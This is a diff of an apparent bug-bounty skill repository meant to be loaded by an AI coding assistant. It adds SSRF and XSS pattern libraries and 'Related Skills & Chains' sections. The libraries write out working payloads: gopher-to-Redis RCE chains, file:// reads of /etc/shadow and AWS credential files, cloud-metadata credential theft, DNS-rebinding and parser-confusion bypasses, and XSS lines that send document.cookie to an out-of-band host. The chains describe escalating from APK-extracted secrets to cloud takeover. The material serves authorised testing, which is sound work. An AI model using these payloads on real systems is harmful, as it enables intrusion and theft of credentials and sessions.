`[0:0:0:0:0:ffff:127.0.0.1]`.+ - Mixed encoding: `0x7f.1`, `127.0x00.0.0x01`.+- **Validation:** Internal fetch succeeds despite filter.+- **Pay-grade rationale:** Critical when metadata is reachable behind the bypass.++### DNS rebinding (TOCTOU on validation)+- **When to suspect:** Filter resolves the hostname, validates the IP is public, then fetches by hostname (not by IP).+- **Test:** Use a controlled DNS service to return `1.2.3.4` (passing public-IP check) then `169.254.169.254` on the next query. Aim the validator at the hostname.+- **Validation:** Validator approves, fetch reaches metadata, response body contains IAM credentials or instance metadata.+- **Pay-grade rationale:** Critical.++### Redirect-chain SSRF+- **When to suspect:** Filter checks the *initial* URL only; the HTTP client follows redirects without re-validating.+- **Test:** Host `https://attacker.tld/redirect.php` that returns `Location: http://169.254.169.254/latest/meta-data/`. Set the SSRF parameter to your attacker URL.+- **Validation:** Server fetches your URL (Collaborator HTTP interaction), then follows the redirect to the metadata endpoint, returns metadata content in the response or to OOB.+- **Pay-grade rationale:** Critical when chained to metadata; high otherwise.++### Gopher protocol smuggling to internal Redis / Memcached / SMTP+- **When to suspect:** Backend uses `curl`-like fetch (libcurl supports gopher, file, dict by default). Internal Redis or Memcached on a known port.+- **Test:** `gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A` to flush Redis as a probe; escalate to `CONFIG SET dir /var/lib/redis-write`, `CONFIG SET dbfilename shell.so`, `MODULE LOAD /var/lib/redis-write/shell.so` for RCE in some Redis configurations. SMTP: `gopher://127.0.0.1:25/_HELO%20a%0D%0AMAIL...`.+- **Validation:** Server-side state change (Redis key set, SMTP message sent), or OOB callback from a payload that exfiltrates internal data.+- **Pay-grade rationale:** Critical. Gopher SSRF on Redis is a textbook RCE chain.++### File protocol (local file read via SSRF)+- **When to suspect:** Same backend fetch tool. `file://` URI permitted.+- **Test:** `file:///etc/passwd`, `file:///proc/self/environ`, `file:///proc/self/cmdline`, `file:///etc/shadow` (rarely readable but worth probing), `file:///root/.aws/credentials`.+- **Validation:** File contents in response body or OOB.+- **Pay-grade rationale:** High when sensitive files are reachable.++### Blind SSRF via webhooks+- **When to suspect:** Application accepts user-configurable webhook URLs (notifications, integration events, "send updates to this URL").+- **Test:** Configure the webhook to a Collaborator subdomain, trigger an event, await OOB.+- **Validation:** Collaborator interaction from the target's source IP.+- **Pay-grade rationale:** Low standalone (legitimate feature); high when chained to internal-network probing via crafted webhook URLs after initial OOB confirmation.++### SSRF via PDF / screenshot rendering+- **When to suspect:** Application generates PDFs or screenshots from HTML — invoice generation, report export, social-card preview. Backend is wkhtmltopdf, headless Chrome, or weasyprint.+- **Test:** Inject `<img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/...">` or `<iframe src="file:///etc/passwd">` into the HTML the renderer processes. Some renderers historically allowed `file://` from rendered HTML.+- **Validation:** Rendered output contains the fetched content, or OOB callback from the rendering server.+- **Pay-grade rationale:** High to critical.++### SSRF via XML / SVG (XXE-adjacent)+- **When to suspect:** Endpoint accepts XML or SVG and parses it server-side.+- **Test:** External entity `<!ENTITY xxe SYSTEM "http://<collab>/x">` referenced in the document. Or SVG `<image href="http://169.254.169.254/...">` rendered server-side.+- **Validation:** OOB interaction or entity content in the response.+- **Pay-grade rationale:** High. Crosses with `hunt-xxe`.++### URL-parser confusion+- **When to suspect:** Server uses one URL parser to validate (e.g., Python's `urllib.parse`), another to fetch (e.g., `requests`). The two parsers handle malformed URLs differently.+- **Test:** Payloads like `http://allowed.tld#@169.254.169.254/`, `http://allowed.tld\@169.254.169.254/`, `http://169.254.169.254/[email protected]`, `http://allowed.tld:[email protected]/`. Each exploits a discrepancy in how `userinfo` / `host` / `fragment` are parsed.+- **Validation:** Validator approves on `allowed.tld`, fetcher requests `169.254.169.254`.+- **Pay-grade rationale:** Critical.++### IPv6 / dual-stack confusion+- **When to suspect:** Validator only checks IPv4 ranges; backend resolves and connects via IPv6.+- **Test:** `[::1]`, `[::ffff:127.0.0.1]`, `[fd00::1]`, link-local IPv6 `[fe80::1%eth0]`.+- **Validation:** Internal IPv6 service reached.+- **Pay-grade rationale:** High.++### `0.0.0.0` and short-form quirks+- **When to suspect:** Filter blocks `127.0.0.1` but not `0.0.0.0`.+- **Test:** `http://0.0.0.0/`, `http://0/`, `http://127.1/`. On many Linux servers, `0.0.0.0` routes to localhost.+- **Validation:** Localhost service reached.+- **Pay-grade rationale:** High when localhost services are present.++### SSRF via second-order URL+- **When to suspect:** Application stores a URL in profile / settings; later, a different code path fetches that URL (avatar update, link-preview cron job).+- **Test:** Store a Collaborator URL in the profile field; trigger or wait for the second-order fetch.+- **Validation:** Delayed OOB callback, after the second-order job runs.+- **Pay-grade rationale:** High. The delay defeats most scanners.++### Cloud metadata via specific cloud headers / paths+- **When to suspect:** SSRF reaches some endpoint but cloud-metadata service requires specific headers.+- **Test:** GCP requires `Metadata-Flavor: Google` — if the SSRF primitive lets you set arbitrary headers (rare) or you're sending via a coercive protocol that includes the header, test directly. Azure requires `Metadata: true`. AWS IMDSv2 requires a PUT to acquire a token, then GET with `X-aws-ec2-metadata-token: <token>`. If the SSRF primitive only supports GET, IMDSv1 may still be reachable on legacy hosts.+- **Validation:** Metadata in response or OOB.+- **Pay-grade rationale:** Critical.++### Internal admin / management API discovery+- **When to suspect:** SSRF confirmed; metadata not reachable; target runs Kubernetes / Docker / orchestration.+- **Test:** Probe `http://kubernetes.default.svc/api/v1/`, `http://localhost:10250/pods/`, `http://localhost:8001/api/`, internal admin ports (8500 Consul, 8080 Spring Boot Actuator, 9200 Elasticsearch, 5984 CouchDB, 27017 MongoDB).+- **Validation:** Service banner / admin API response.+- **Pay-grade rationale:** Critical when reaches an admin endpoint with privileged operations.++---++## Anti-Patterns (FP traps)++### URL echo in error message+- **Looks like:** Server returns 500 with body `"Could not fetch http://attacker.tld/x"`.+- **Actually is:** String formatting in an error template. The server may never have made an outbound request — the URL is just being printed back to you in the error.+- **How to disprove:** Plant a Burp Collaborator subdomain in the URL and wait 30–120 seconds. Zero DNS or HTTP interactions = no fetch happened, even with the echo. This is the canonical FP-trap in SSRF hunting. Lesson reference: redacted-portal.ch SharePoint `/_layouts/15/download.aspx?SourceUrl=` echoed every URL into the error title; 38 Collaborator-tagged payloads across 12+ parameters yielded zero interactions. The "echo" was client-side formatting; the server resolved a SharePoint-internal SPFile path, not an outbound URL.++### 500 with stack trace mentioning your URL+- **Looks like:** Stack trace in response shows `java.net.MalformedURLException: http://attacker.tld/x at ...`. Looks like the server tried to fetch and failed.+- **Actually is:** The exception was thrown by a parser, not a network library. The trace shows that the URL was *parsed* (and rejected) — not *fetched*.+- **How to disprove:** OOB-or-it-didn't-happen. Plant a syntactically valid Collaborator URL. If still no callback, the code path never reaches a network call.++### Client-side fetch claimed as SSRF+- **Looks like:** Page fetches a URL via JavaScript, you find a way to inject a URL, browser dev tools show the fetch.+- **Actually is:** Client-side fetches happen in the *victim's browser*. They are not server-side requests; they are subject to CORS and same-origin policy; they cannot reach the server's internal network.+- **How to disprove:** Confirm the request source IP is the server, not the victim's browser. If the request shows browser User-Agent and originates from the victim's IP, it's a CSRF / XSS chain, not SSRF.++### Response timing differences claimed as blind SSRF+- **Looks like:** Sending an external URL returns in 200ms; sending `127.0.0.1:22` returns in 5 seconds. Looks like the server attempted a connection to localhost and timed out.+- **Actually is:** Timing differences can come from DNS resolution alone, from URL-parser branching, from validator-side network probes that don't actually fetch, or from rate limiting.+- **How to disprove:** Plant Collaborator. If no DNS interaction, no fetch happened — the timing is from something earlier in the pipeline. Report a timing oracle as a side-channel only when chained to a real impact.diff --git a/docs/disclosed-reports/hunt-xss.md b/docs/disclosed-reports/hunt-xss.mdnew file mode 100644index 0000000..faeedfc--- /dev/null+++ b/docs/disclosed-reports/hunt-xss.md@@ -0,0 +1,137 @@+# hunt-xss — Pattern Library++> Patterns and verifiable public examples behind `hunt-xss`. Operator-grade reference, not a complete enumeration. Cited examples are widely-discussed public cases that any reader can search and verify; uncited patterns are general operator knowledge from public bounty disclosures, CVEs, OWASP guidance, and conference research.++XSS pays when it combines privileged context (admin UI, billing flow, SSO callback), persistent delivery (stored payload, blind delivery into an internal console), and scope escalation (cookie exfil, CSRF chain, ATO). The patterns below focus on the primitives that recur in real disclosed reports — header reflection, DOM sinks, mutation XSS, SVG, CSP bypasses, and the blind-XSS workflow. Every pattern includes a proof shape because XSS is the easiest bug class to *think* you have when you don't.++## Cited Public Examples++### Gareth Heyes / PortSwigger DOM XSS and mXSS research+- **Source:** PortSwigger Research, multi-year body of work by Gareth Heyes and others. Topics include the DOM XSS wiki, the mutation-XSS catalog, and the "DOM Invader" Burp tool. Searchable at portswigger.net/research; cite the topic, not a specific URL.+- **Pattern shape:** A category of XSS where the payload never round-trips through the server. The attacker controls a fragment, `window.name`, `postMessage` payload, or imported JSON, and a client-side script writes that data into a sink (`innerHTML`, `document.write`, `eval`, `setTimeout`-with-string, `srcdoc`) without escaping. Server-side scanners miss it entirely.+- **Key trick:** The mXSS variant exploits the fact that browsers *renormalize* HTML when it goes into an attribute or namespace and comes back out — a string that looks inert as HTML can become live HTML after a round trip through `innerHTML = node.innerHTML`.+- **Why it matters:** DOM and mXSS bypass server-side sanitizers entirely, which means they bypass most WAFs and most pentest scopes. They consistently pay because the affected code paths sit in trusted SPAs and admin SPAs where one payload can reach session storage.++### Mario Heiderich / Cure53 SVG and namespace XSS research+- **Source:** Cure53 published research on SVG XSS, namespace confusion, and the limits of HTML sanitizers (DOMPurify is maintained by this team). Search by topic; the SVG-foreignObject and namespace-switching primitives are well-documented in HTML5 security literature.+- **Pattern shape:** SVG is an XML dialect that can embed `<script>` natively and can also contain `<foreignObject>` carrying arbitrary HTML. An application that accepts SVG uploads (avatars, profile images, badges, social-share thumbnails) and serves them with `Content-Type: image/svg+xml` will execute embedded scripts when the file is loaded as a top-level navigation, or in some contexts when rendered inline.+- **Key trick:** SVG XSS bypasses image-type validation that only checks magic bytes (`<svg>` is text, but image validators that decode the first frame accept it as a valid graphic). It also bypasses CSP `img-src` checks because the navigation context is `script-src`, not `img-src`.+- **Why it matters:** SVG remains a recurring XSS vector in 2025 because the dual nature of the format (image and document) traps developers who think "MIME = image, so no script."++### Shopify XSS class (longstanding pattern)+- **Source:** Shopify's public bug-bounty program (HackerOne `shopify`) has disclosed many XSS reports across its main domain, admin, and `*.myshopify.com` tenant surfaces. Cite the program/class, not a specific report number. The Shopify program has historically been one of the most-disclosed XSS programs in the industry.+- **Pattern shape:** Multi-tenant SaaS where one tenant's content (theme template, product description, app installation surface) renders in another tenant's admin context, or where customer-supplied content (cart notes, order metadata, file-upload filenames) renders in a merchant-admin view without escaping.+- **Key trick:** The merchant-admin context is *privileged* — a stored XSS that fires when a merchant views an order can read merchant API tokens, pivot to billing, and chain to ATO. The lift is finding the unsanitized cross-tenant boundary, not bypassing modern XSS filters.+- **Why it matters:** This is the operator's case study for stored-XSS-in-admin-views — plant payloads in customer-controllable fields, wait for an admin to view them, validate via blind-XSS callback (OOB).++### CSP bypass via JSONP allowlist (general pattern in CVE catalogue)+- **Source:** Multiple CVEs and bug-bounty disclosures over the past decade against sites that allowlist Google services (`accounts.google.com`, `www.google.com/complete/search`), Yandex, Twitter widgets, or major CDNs for CSP, then suffer XSS because the allowlisted origin serves a JSONP endpoint that reflects an attacker-controlled callback name.+- **Pattern shape:** Target CSP is strict — `default-src 'self'; script-src 'self' https://www.google.com`. Attacker injects a `<script src="https://www.google.com/complete/search?client=hp&callback=alert(1)">` which is policy-compliant. The JSONP endpoint emits `alert(1)({...})`, executing the callback in the target's origin.+- **Key trick:** CSP allow-lists for third-party origins must be evaluated against the *full* set of script-emitting endpoints on that origin. CDN host names that serve any JSONP, any reflected JavaScript, or any user-content endpoint are *not* safe in `script-src`.+- **Why it matters:** Operators inheriting a "we have CSP, XSS is mitigated" target should grep the CSP allow-list for known JSONP-bearing hosts before giving up on a candidate sink.++---++## Pattern Library++### Reflected XSS via header reflection in error pages+- **When to suspect:** The application echoes `Host`, `X-Forwarded-Host`, `Referer`, `User-Agent`, or a custom header into an HTML response (error page, login form action, redirect template).+- **Test:** `curl -H 'X-Forwarded-Host: x"><svg onload=fetch("//<collab>/x")>' https://target/`. Inspect response body for the literal payload in HTML context.+- **Validation:** OOB callback to Collaborator with a *browser User-Agent* (your curl will not execute JS — the callback fires only when a real victim browser parses the response). Alternative: paste the response into a local browser and confirm `alert` fires.+- **Pay-grade rationale:** Medium typically; high if the affected page is in a privileged context (admin login, SSO callback) where a victim's session can be hijacked.++### DOM XSS via `location.hash` / `window.name`+- **When to suspect:** Single-page app, you find `document.location.hash.slice(1)` or `window.name` read into a sink like `innerHTML`, `document.write`, or `eval`. Burp DOM Invader flags it.+- **Test:** Visit `https://target/page#<img src=x onerror=alert(1)>`. For `window.name`, host a parent page that sets `window.name='<payload>'` then navigates to the target.+- **Validation:** `alert` fires in your browser without the payload ever appearing in the server response.+- **Pay-grade rationale:** Medium to high depending on the context. Stored DOM XSS (where the payload persists via localStorage) pays higher.++### postMessage origin-check bypass+- **When to suspect:** Page registers `window.addEventListener('message', handler)` where `handler` does not check `event.origin` strictly, or uses `indexOf` / `startsWith` checks that allow `https://target.attacker.com`.+- **Test:** Host a page at attacker-controlled origin, `iframe` the target, call `iframe.contentWindow.postMessage(payload, '*')`. If handler trusts the message and reaches a DOM sink with payload data, you have XSS.+- **Validation:** `alert` fires on the target origin after the postMessage.+- **Pay-grade rationale:** High when the handler is on a sensitive page; chain via XSS-to-ATO.++### Mutation XSS through `innerHTML` round-trips+- **When to suspect:** Application uses a sanitizer (DOMPurify, sanitize-html) but then re-serializes the sanitized DOM via `element.innerHTML` or copies into a different namespace (HTML → SVG, HTML → MathML).+- **Test:** Use a known mXSS payload — historical examples include `<svg><style><img src=x onerror=alert(1)>`-style namespace flips and `<noscript><p title="</noscript><img src=x onerror=alert(1)>"></p>` constructs. Maintained payload lists exist; iterate against the sanitizer's current version.+- **Validation:** Payload survives the sanitizer in some downstream rendering context and fires.+- **Pay-grade rationale:** High. mXSS bypasses are scarce and typically reach privileged contexts.++### SVG file upload XSS+- **When to suspect:** Avatar / profile-image / share-thumbnail upload accepts SVG, or accepts a file by MIME without validating XML content. Response serves the file at a same-origin URL.+- **Test:** Upload an SVG containing `<svg xmlns="http://www.w3.org/2000/svg"><script>fetch('//<collab>/x?'+document.cookie)</script></svg>`. Visit the served URL directly (top-level navigation).+- **Validation:** OOB callback carries the victim's cookies (use a victim test account in a second browser).+- **Pay-grade rationale:** High to critical depending on cookie scope (HttpOnly defeats cookie exfil; the chain shifts to CSRF or in-page action).++### Blind XSS into admin / SOC consoles+- **When to suspect:** Any field that round-trips to an internal viewer — error-message parameters, audit-log usernames, support-ticket bodies, file-upload filenames, User-Agent, Referer, contact-form email fields, registration usernames.+- **Test:** `<svg onload=fetch('//bxss-<sink>-<random>.<collab>/x')>`. Plant *early* in the engagement and keep the listener open for hours or days. Sub-tag every sink (different `<sink>` label) so callbacks identify the firing path.+- **Validation:** OOB request from a browser User-Agent, originating from a non-target IP range (the SOC analyst's office or a corporate VPN).+- **Pay-grade rationale:** High when the firing context is the admin console; pays out because impact is "internal session theft."++### CSP bypass via JSONP allow-list+- **When to suspect:** CSP `script-src` lists a third-party host known to serve JSONP (`accounts.google.com`, `www.google.com`, several CDN hosts).+- **Test:** Find a same-origin XSS sink under the target's policy that lets you inject `<script src="https://<allowlisted>/jsonp?callback=PAYLOAD">`. The JSONP endpoint reflects `PAYLOAD` as a function call.+- **Validation:** Payload executes despite CSP enforcement.+- **Pay-grade rationale:** High — bypasses a defense the program likely paid to deploy.++### CSP bypass via `strict-dynamic` and orphaned nonces+- **When to suspect:** CSP uses `'strict-dynamic'` with a nonce, but the page also includes a script that uses `document.createElement('script')` + attacker-controllable `src`. Under `strict-dynamic`, any script created by an already-trusted script is trusted.+- **Test:** Find a same-origin DOM injection that reaches `appendChild` of a `<script>` element whose src you control.+- **Validation:** Script executes under strict-dynamic, despite no inline injection.+- **Pay-grade rationale:** High.++### Self-XSS escalated by clickjacking / login CSRF+- **When to suspect:** You find an XSS that only fires for the logged-in user themselves (e.g. in a profile-edit preview). Standalone, it's self-XSS and pays nothing.+- **Test:** Combine with login-CSRF (force the victim to log into the *attacker's* account) so the self-XSS now fires under the victim's browser context but in the attacker's session. Alternative: combine with a clickjacked iframe that triggers the action while the victim is logged in.+- **Validation:** A victim browser executes the payload via the chain.+- **Pay-grade rationale:** Self-XSS alone = 0. Chained self-XSS with login-CSRF or clickjack = medium to high if a working PoC video is supplied.++### XSS via Markdown rendering edge cases+- **When to suspect:** Application accepts Markdown — comments, issues, wiki pages, profile bios. Renderer is `marked`, `markdown-it`, `commonmark`, or `kramdown`.+- **Test:** Edge cases per renderer: `[xss](javascript://%0aalert(1))`, `)` (older renderers), HTML pass-through if the renderer allows raw HTML (`<img onerror=alert(1) src=x>` inside the markdown body).+- **Validation:** `alert` fires when the rendered page is viewed.+- **Pay-grade rationale:** Medium to high depending on where the rendered content is viewed.++### XSS via PDF / report generation+- **When to suspect:** Target accepts attacker-controlled fields and generates a PDF or HTML report (invoice, receipt, export). Backend renderer is wkhtmltopdf, headless Chrome, or weasyprint.+- **Test:** Inject `<script>fetch('http://<collab>/x?file://etc/passwd')</script>` and `<img src="file:///etc/passwd">`. Wkhtmltopdf historically allowed `file://` loads from the rendered HTML.+- **Validation:** OOB callback from the rendering server (not your browser — server-side rendering) with leaked file contents.+- **Pay-grade rationale:** High to critical. Often crosses into SSRF and local-file-read territory.++### XSS via `target="_blank"` reverse tab-nabbing chain+- **When to suspect:** A user-controlled link is rendered with `target="_blank"` but without `rel="noopener"`. Not XSS standalone; chainable.+- **Test:** Plant a link that opens an attacker page; the attacker page reassigns `window.opener.location` to a phishing target. Chain with reflected XSS on the original page for a full session-theft demonstration.+- **Validation:** Reverse-tab-nabbing PoC video.+- **Pay-grade rationale:** Low standalone; counts only when chained.++### Stored XSS via filename in file-upload feature+- **When to suspect:** Upload feature stores the original filename verbatim and renders it on the file-listing page.+- **Test:** Upload a file named `<svg onload=alert(1)>.png`. Some platforms preserve the name; if the listing renders it raw, the payload fires.+- **Validation:** `alert` fires on the listing page.+- **Pay-grade rationale:** Medium typically; higher if the listing is viewed by admins/support.++---++## Anti-Patterns (FP traps)++### "Reflection" that's URL-encoded or HTML-encoded+- **Looks like:** Your payload `<script>alert(1)</script>` appears in the response.+- **Actually is:** Look closely. If the response shows `<script>alert(1)</script>` or `%3Cscript%3E`, the framework already encoded it. The browser will render the text "script" inside the page, not execute it.+- **How to disprove:** Save the response to disk and open in a browser. If no alert fires, it's reflection-as-encoded-text, not XSS. The page is doing the right thing.++### WAF rejection on `<` claimed as "filter bypass needed"+- **Looks like:** ASP.NET request validator or a WAF returns 500 / 403 on a payload containing `<`. Operator wants to find a bypass.+- **Actually is:** The framework is blocking *input*, not *output*. The data never reaches the application's output path. Finding an alternative-character bypass doesn't make this XSS; it just lets the request through to be safely encoded later.+- **How to disprove:** Find an input that *does* reach output unencoded (a header, a different parameter, a cookie). If every payload route gets encoded on output, it's a hardened app, not a bypassable one. Lesson reference: redacted-portal.ch — request validator blocks `<` before storage; encoding bypasses do not help.++### Natural-language collision in response body+- **Looks like:** You submitted `xsstest123` as the payload and observe `xsstest123` in the response body. Looks reflected.+- **Actually is:** Sometimes the response body legitimately contains the substring for reasons unrelated to your input — pagination state, search result, dictionary word collision. Without confirmation that *your input drove the reflection*, you cannot demonstrate XSS.+- **How to disprove:** Use a unique cryptographically random marker (32 hex chars). If only the literal marker appears, you have true reflection. Then escalate to a real HTML/JS payload — if encoding kicks in at that point, it's reflection-with-output-encoding, not XSS.++### `Content-Type: text/plain` or `application/json` reflection+- **Looks like:** Your payload appears in the response body, but the response is `Content-Type: text/plain` or `application/json`.+- **Actually is:** Browsers do not render HTML or execute JS in plain-text or JSON responses (except in rare MIME-sniffing cases with old IE, which is out of modern scope). The reflection is real but inert.+- **How to disprove:** Open the response in a current browser. If it shows the raw bytes as text, it's not XSS. If you can find a way to make the same endpoint return `text/html` (Accept-header tricks, format=html parameter, `X-Content-Type-Options: nosniff` absent + IE), revisit.diff --git a/skills/apk-redteam-pipeline/SKILL.md b/skills/apk-redteam-pipeline/SKILL.mdindex 699a411..a6298fb 100644--- a/skills/apk-redteam-pipeline/SKILL.md+++ b/skills/apk-redteam-pipeline/SKILL.md@@ -395,3 +395,13 @@ download-apk() {- Impact: Post-VPN-foothold (via cred compromise), attacker has full API surface map without binary reverse. HS256 secret recovery (via SSRF/LFI) would yield arbitrary token forging.- Recommendation: rotate HS256 secret, migrate to RS256, remove hardcoded URLs from builds, audit all org APKs.- Evidence: extracted strings, decoded JWT, endpoint inventory++---++## Related Skills & Chains++- **`cloud-iam-deep`** — APK secret extraction frequently yields live AWS/GCP/Azure credentials. Chain primitive: jadx string-grep produces AWS Access Key ID + Secret → `cloud-iam-deep` `aws sts get-caller-identity` → role/policy enumeration → IAM privilege-escalation path (one of 24 documented AWS escalation patterns) → cloud-plane takeover. Same flow applies to GCP service-account JSON and Azure shared-access-signature tokens extracted from APK resources.+- **`hunt-api-misconfig`** — APK endpoint inventory hands you the API surface for free; mass-assignment, JWT, and CORS bugs are typical. Chain primitive: APK reveals `/v1/users/me` and `/v1/admin/users` → `hunt-api-misconfig` mass-assignment probes (`{is_admin:true}`) against `/v1/users/me` → admin role escalation → access to `/v1/admin/users`.+- **`hunt-rce`** — Hardcoded JWT signing secrets (HS256) extracted from APK enable arbitrary token forging. Chain primitive: APK strings yield HS256 secret → forge admin token → access admin API → if API has eval/template/sink → `hunt-rce` to server. Also: exported components with intent-injection sinks can reach `Runtime.exec` if app is local-installed.+- **`offensive-osint`** — APK is one node in the broader org recon graph; pair with breach corpora and cert transparency. Chain primitive: APK reveals internal API hostname `api2.example.com` → `offensive-osint` certificate-transparency lookup → discover sibling subdomains → expanded attack surface.+- **`redteam-report-template`** — APK findings need clear "what the binary leaks" framing because client engineers often dismiss mobile-static findings as "obfuscation problem." Chain primitive: validated finding (token/URL/secret extracted) → `triage-validation` 7-Question Gate (specifically: "does this credential still authenticate today?") → `redteam-report-template` packaging with explicit binary version + extraction reproduction steps.diff --git a/skills/bb-local-toolkit/SKILL.md b/skills/bb-local-toolkit/SKILL.mdindex bd3f4a5..1ecaac4 100644--- a/skills/bb-local-toolkit/SKILL.md+++ b/skills/bb-local-toolkit/SKILL.md@@ -1545,3 +1545,13 @@ curl -s https://raw.githubusercontent.com/shuvonsec/claude-bug-bounty/main/SKILL```Then in Claude Code, this skill loads automatically when you ask about bug bounty, recon, or vulnerability hunting.++---++## Related Skills & Chains++- **`bug-bounty`** — When the user wants general bug-bounty guidance rather than tool location. Workflow primitive: `bug-bounty` is the orchestrator and routes to topic-matched hunt-* skills; this skill (`bb-local-toolkit`) answers "where is the tool / wordlist / clone on disk for that hunt?"+- **`web2-recon`** — When recon needs to be run via specific tool invocations. Workflow primitive: this skill names the local install path (e.g., `~/tools/SecretFinder/.venv/bin/activate`); `web2-recon` is the pipeline that strings those tool paths together.+- **`offensive-osint`** — When the operational arsenal (probes, regexes, wordlists) needs a tool to execute it. Workflow primitive: `offensive-osint` provides the regex / probe; this skill provides the local trufflehog / jhaddix / SecLists clone that runs it.+- **`security-arsenal`** — When the payload library needs a tool to fire payloads at scale. Workflow primitive: `security-arsenal` is the payload syntax; this skill names the ffuf / dalfox / ghauri install that delivers them.+- **`bb-methodology`** — When Phase 1 (Recon) or Phase 3 (Discovery) needs tooling routed. Workflow primitive: `bb-methodology`'s "Tool Routing by Phase" table is general; this skill resolves the abstract tool names to concrete local paths.diff --git a/skills/bb-methodology/SKILL.md b/skills/bb-methodology/SKILL.mdindex f07a4ee..bcb92fe 100644--- a/skills/bb-methodology/SKILL.md+++ b/skills/bb-methodology/SKILL.md@@ -450,3 +450,13 @@ For any iteration that runs more than 5 times, **use Python (with try/except per- Always count results. If you expected 100 probes and got <50 lines of output, your loop ate something.**Lesson from a May-2026 authorized engagement:** A zsh array-iteration verb-tampering test silently produced no curl invocations across 20+ iterations (zsh ate the array). Output looked like "HIT [GET] /_api/web → " repeated for every probe but the actual response was missing. ~50 probes worth of testing lost. Switching the test to Python with explicit per-iteration logging surfaced the real results.++---++## Related Skills & Chains++- **`hunt-dispatch`** — When PART 0 mode is confirmed (redteam / wapt + blackbox|greybox). Workflow primitive: after the engagement-type answer is locked, hand off to `hunt-dispatch` to fingerprint the target and load the matching platform + hunt-* skill set; this skill stops being the active context once dispatch prints its taxonomy.+- **`bug-bounty`** — When the user asks a generic "what should I do" or starts a new target. Workflow primitive: `bug-bounty` is the orchestrator that names which `hunt-*` skills to load by topic; this skill (`bb-methodology`) provides the 5-phase workflow that orchestrator runs against.+- **`triage-validation`** — When a finding completes Phase 4 and is about to be written up. Workflow primitive: Phase 5 explicitly calls `/validate` (the 7-Question Gate); only findings that pass all 7 questions get handed off to `report-writing`.+- **`offensive-osint`** + **`web2-recon`** — When Phase 1 (Recon) is active. Workflow primitive: Phase 1's "Wide approach" delegates to `offensive-osint` for asset arsenal and `web2-recon` for the live-host + URL pipeline.+- **`evidence-hygiene`** — When Phase 5 is collecting PoC screenshots / HARs. Workflow primitive: before any cookie / PII appears in a screenshot, hand off to `evidence-hygiene` for the redaction protocol.diff --git a/skills/bug-bounty/SKILL.md b/skills/bug-bounty/SKILL.mdindex 5b30d1f..1792126 100644--- a/skills/bug-bounty/SKILL.md+++ b/skills/bug-bounty/SKILL.md@@ -1545,3 +1545,13 @@ curl -s https://raw.githubusercontent.com/shuvonsec/claude-bug-bounty/main/SKILL```Then in Claude Code, this skill loads automatically when you ask about bug bounty, recon, or vulnerability hunting.++---++## Related Skills & Chains++- **`bb-methodology`** — When a hunting session starts and the user is "lost about what to do next." Workflow primitive: this skill is the orchestrator; `bb-methodology` is the 5-phase workflow it routes to. Load `bb-methodology` FIRST, then this skill names the topic-matched hunt-* skills.+- **`hunt-dispatch`** — When PART 0 mode (red team / WAPT) has been confirmed. Workflow primitive: this skill's "what should I do" routing hands off to `hunt-dispatch` for the platform fingerprint + skill-set load.+- **`web2-recon`** + **`offensive-osint`** — When Phase 1 (recon) starts. Workflow primitive: this skill's "Standard Recon Pipeline" section delegates the live execution to `web2-recon` and the operational arsenal (probes / wordlists / regexes) to `offensive-osint`.+- **`triage-validation`** + **`report-writing`** — When a finding completes Phase 4. Workflow primitive: this skill routes to `triage-validation` (7Q gate) → only if all 7 pass, hand off to `report-writing` for the platform-specific body.+- **`bb-local-toolkit`** — When you need to know which local clone has the tool for a given task. Workflow primitive: this skill is general bug-bounty guidance; `bb-local-toolkit` answers the specific "where is jhaddix/SecLists installed on this machine?" question.diff --git a/skills/bugcrowd-reporting/SKILL.md b/skills/bugcrowd-reporting/SKILL.mdindex 2ae0e8f..ee9e50c 100644--- a/skills/bugcrowd-reporting/SKILL.md+++ b/skills/bugcrowd-reporting/SKILL.md@@ -308,3 +308,13 @@ Maintain a simple text file with each submission's UUID, severity, and one-line## Notes on usageThis skill is small and focused. It does NOT duplicate content from `report-writing` (per-platform templates, CVSS scoring, downgrade counters, 60-second pre-submit checklist) — load both skills together when filing a Bugcrowd report. The two skills' content composes naturally because their boundaries are clean: `report-writing` is the body templates, `bugcrowd-reporting` is the program-specific tactics layered on top.++---++## Related Skills & Chains++- **`report-writing`** — Always load this skill alongside `bugcrowd-reporting`. Workflow primitive: `report-writing` provides the body skeleton; this skill layers VRT selection + severity-request paragraph + OOS-clause rebuttals on top of that skeleton.+- **`triage-validation`** — When deciding if a Bugcrowd-bound finding will pass triage. Workflow primitive: 7Q gate runs first; only validated findings reach this skill for VRT mapping.+- **`evidence-hygiene`** — When attaching screenshots / HARs to a Bugcrowd submission. Workflow primitive: Bugcrowd's private attachment system requires redacted evidence; route everything through `evidence-hygiene` before clicking attach.+- **`security-arsenal`** — When the PoC step needs payloads cited verbatim. Workflow primitive: the "Steps to Reproduce" section in this skill's report bodies pulls exact payloads from `security-arsenal` so the triager can paste-and-run.+- **`bb-methodology`** — When confirming engagement mode is bug-bounty (not red-team). Workflow primitive: PART 0 of `bb-methodology` answers "bug bounty?"; if yes AND the target is Bugcrowd, this skill becomes the reporting overlay.diff --git a/skills/cloud-iam-deep/SKILL.md b/skills/cloud-iam-deep/SKILL.mdindex b846b0a..597a937 100644--- a/skills/cloud-iam-deep/SKILL.md+++ b/skills/cloud-iam-deep/SKILL.md@@ -400,3 +400,14 @@ If during the engagement you:- Read sensitive data (Secrets Manager, KMS keys, Storage blob content) — note in deliverable that data was viewed but not exfiltrated outside the engagement systemsCloud activity is trivially auditable; the client WILL find it post-engagement. Documenting now > getting blindsided later.++---++## Related Skills & Chains++- **`hunt-ssrf`** — Most external paths to a cloud credential begin with SSRF reaching the metadata service. Chain primitive: SSRF + IMDSv1 → instance role token → `cloud-iam-deep` privilege-escalation patterns reach prod S3 / Secrets Manager.+- **`hunt-cloud-misconfig`** — Public buckets and exposed configs are the most common credential-leak vector. Chain primitive: Cloud misconfig (`.env` in public S3) + leaked AWS access key → IAM enumeration → `iam:PassRole` chain to admin.+- **`supply-chain-attack-recon`** — CI/CD often holds long-lived deploy credentials. Chain primitive: Exposed GitHub Actions OIDC misconfig + assume-role permission → `cloud-iam-deep` cross-account role assumption.+- **`m365-entra-attack`** — Azure Managed Identity overlaps Entra service principals. Chain primitive: SSRF on Azure App Service → Managed Identity token → `m365-entra-attack` Graph API enumeration → cross-tenant escalation.+- **`security-arsenal`** — Load the Cloud IAM Privilege-Escalation Payload Pack (24+ AWS, 8+ Azure, 6+ GCP escalation patterns with `aws cli` one-liners).+- **`triage-validation`** — Apply the Server-State-vs-Policy gate: a permissive IAM policy 